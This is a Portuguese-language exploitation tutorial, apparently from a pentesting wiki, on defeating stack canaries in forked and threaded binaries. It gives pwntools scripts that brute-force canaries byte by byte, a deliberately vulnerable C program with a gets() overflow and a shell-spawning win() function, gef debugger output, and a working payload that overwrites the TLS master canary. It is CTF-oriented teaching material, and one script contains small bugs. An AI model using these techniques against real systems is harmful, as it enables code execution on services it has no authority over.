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BF Forked & Threaded Stack Canaries

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{% endhint %}

Se você está enfrentando um binário protegido por um canário e PIE (Executable Independente de Posição), você provavelmente precisa encontrar uma maneira de contorná-los.

{% hint style="info" %} Note que checksec pode não encontrar que um binário está protegido por um canário se este foi compilado estaticamente e não é capaz de identificar a função.
No entanto, você pode notar isso manualmente se descobrir que um valor é salvo na pilha no início de uma chamada de função e esse valor é verificado antes de sair. {% endhint %}

Brute force Canary

A melhor maneira de contornar um canário simples é se o binário for um programa que cria processos filhos toda vez que você estabelece uma nova conexão com ele (serviço de rede), porque toda vez que você se conecta a ele o mesmo canário será usado.

Então, a melhor maneira de contornar o canário é apenas forçá-lo com força bruta, caractere por caractere, e você pode descobrir se o byte do canário adivinhado estava correto verificando se o programa travou ou continua seu fluxo regular. Neste exemplo, a função força um canário de 8 Bytes (x64) e distingue entre um byte adivinhado corretamente e um byte ruim apenas verificando se uma resposta é enviada de volta pelo servidor (outra maneira em outra situação poderia ser usando um try/except):

Exemplo 1

Este exemplo é implementado para 64 bits, mas poderia ser facilmente implementado para 32 bits.

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Exemplo 2

Isso é implementado para 32 bits, mas isso pode ser facilmente alterado para 64 bits.
Também note que para este exemplo o programa esperava primeiro um byte para indicar o tamanho da entrada e o payload.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

Threads

Threads do mesmo processo também compartilharão o mesmo token canário, portanto será possível forçar um canário se o binário gerar uma nova thread toda vez que um ataque acontecer.

Um estouro de buffer em uma função com threads protegida com canário pode ser usado para modificar o canário mestre do processo. Como resultado, a mitigação é inútil porque a verificação é feita com dois canários que são iguais (embora modificados).

Example

O seguinte programa é vulnerável a Buffer Overflow, mas é compilado com canário:

#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

// gcc thread_canary.c -no-pie -l pthread -o thread_canary

void win() {
execve("/bin/sh", NULL, NULL);
}

void* vuln() {
char data[0x20];
gets(data);
}

int main() {
pthread_t thread;

pthread_create(&thread, NULL, vuln, NULL);
pthread_join(thread, NULL);

return 0;
}

Observe que vuln é chamado dentro de uma thread. No GDB, podemos dar uma olhada em vuln, especificamente, no ponto em que o programa chama gets para ler os dados de entrada:

gef> break gets
Breakpoint 1 at 0x4010a0
gef> run
...
gef> x/10gx $rdi
0x7ffff7d7ee20: 0x0000000000000000      0x0000000000000000
0x7ffff7d7ee30: 0x0000000000000000      0x0000000000000000
0x7ffff7d7ee40: 0x0000000000000000      0x493fdc653a156800
0x7ffff7d7ee50: 0x0000000000000000      0x00007ffff7e17ac3
0x7ffff7d7ee60: 0x0000000000000000      0x00007ffff7d7f640

O acima representa o endereço de data, onde o programa irá gravar a entrada do usuário. O stack canary é encontrado em 0x7ffff7d7ee48 (0x493fdc653a156800), e o endereço de retorno está em 0x7ffff7d7ee50 (0x00007ffff7e17ac3):

gef> telescope $rdi 8 -n
0x7ffff7d7ee20|+0x0000|+000: 0x0000000000000000  <-  $rdi
0x7ffff7d7ee28|+0x0008|+001: 0x0000000000000000
0x7ffff7d7ee30|+0x0010|+002: 0x0000000000000000
0x7ffff7d7ee38|+0x0018|+003: 0x0000000000000000
0x7ffff7d7ee40|+0x0020|+004: 0x0000000000000000
0x7ffff7d7ee48|+0x0028|+005: 0x493fdc653a156800  <-  canary
0x7ffff7d7ee50|+0x0030|+006: 0x0000000000000000  <-  $rbp
0x7ffff7d7ee58|+0x0038|+007: 0x00007ffff7e17ac3 <start_thread+0x2f3>  ->  0xe8ff31fffffe6fe9  <-  retaddr[2]

Observe que os endereços da pilha não pertencem à pilha real:

gef> vmmap stack
[ Legend:  Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start              End                Size               Offset             Perm Path
0x00007ffff7580000 0x00007ffff7d83000 0x0000000000803000 0x0000000000000000 rw- <tls-th1><stack-th2>  <-  $rbx, $rsp, $rbp, $rsi, $rdi, $r12
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack]  <-  $r9, $r15

A pilha da thread é colocada acima do Armazenamento Local de Thread (TLS), onde o canário mestre é armazenado:

gef> tls
$tls = 0x7ffff7d7f640
...
---------------------------------------------------------------------------- TLS ----------------------------------------------------------------------------
0x7ffff7d7f640|+0x0000|+000: 0x00007ffff7d7f640  ->  [loop detected]  <-  $rbx, $r12
0x7ffff7d7f648|+0x0008|+001: 0x00000000004052b0  ->  0x0000000000000001
0x7ffff7d7f650|+0x0010|+002: 0x00007ffff7d7f640  ->  [loop detected]
0x7ffff7d7f658|+0x0018|+003: 0x0000000000000001
0x7ffff7d7f660|+0x0020|+004: 0x0000000000000000
0x7ffff7d7f668|+0x0028|+005: 0x493fdc653a156800  <-  canary
0x7ffff7d7f670|+0x0030|+006: 0xb79b79966e9916c4  <-  PTR_MANGLE cookie
0x7ffff7d7f678|+0x0038|+007: 0x0000000000000000
...

{% hint style="info" %} Algumas das funções GDB acima estão definidas em uma extensão chamada bata24/gef, que possui mais recursos do que o usual hugsy/gef. {% endhint %}

Como resultado, um grande Buffer Overflow pode permitir modificar tanto o stack canary quanto o master canary no TLS. Este é o offset:

gef> p/x 0x7ffff7d7f668 - $rdi
$1 = 0x848

Este é um pequeno exploit para chamar win:

from pwn import *

context.binary = 'thread_canary'

payload  = b'A' * 0x28                    # buffer overflow offset
payload += b'BBBBBBBB'                    # overwritting stack canary
payload += b'A' * 8                       # saved $rbp
payload += p64(context.binary.sym.win)    # return address
payload += b'A' * (0x848 - len(payload))  # padding
payload += b'BBBBBBBB'                    # overwritting master canary

io = context.binary.process()
io.sendline(payload)
io.interactive()

Outros exemplos e referências

• https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
• 64 bits, sem PIE, nx, canário BF, escrever em alguma memória um ROP para chamar execve e pular para lá.
• http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads
• 64 bits, sem PIE, nx, modificar o canário de thread e o canário mestre.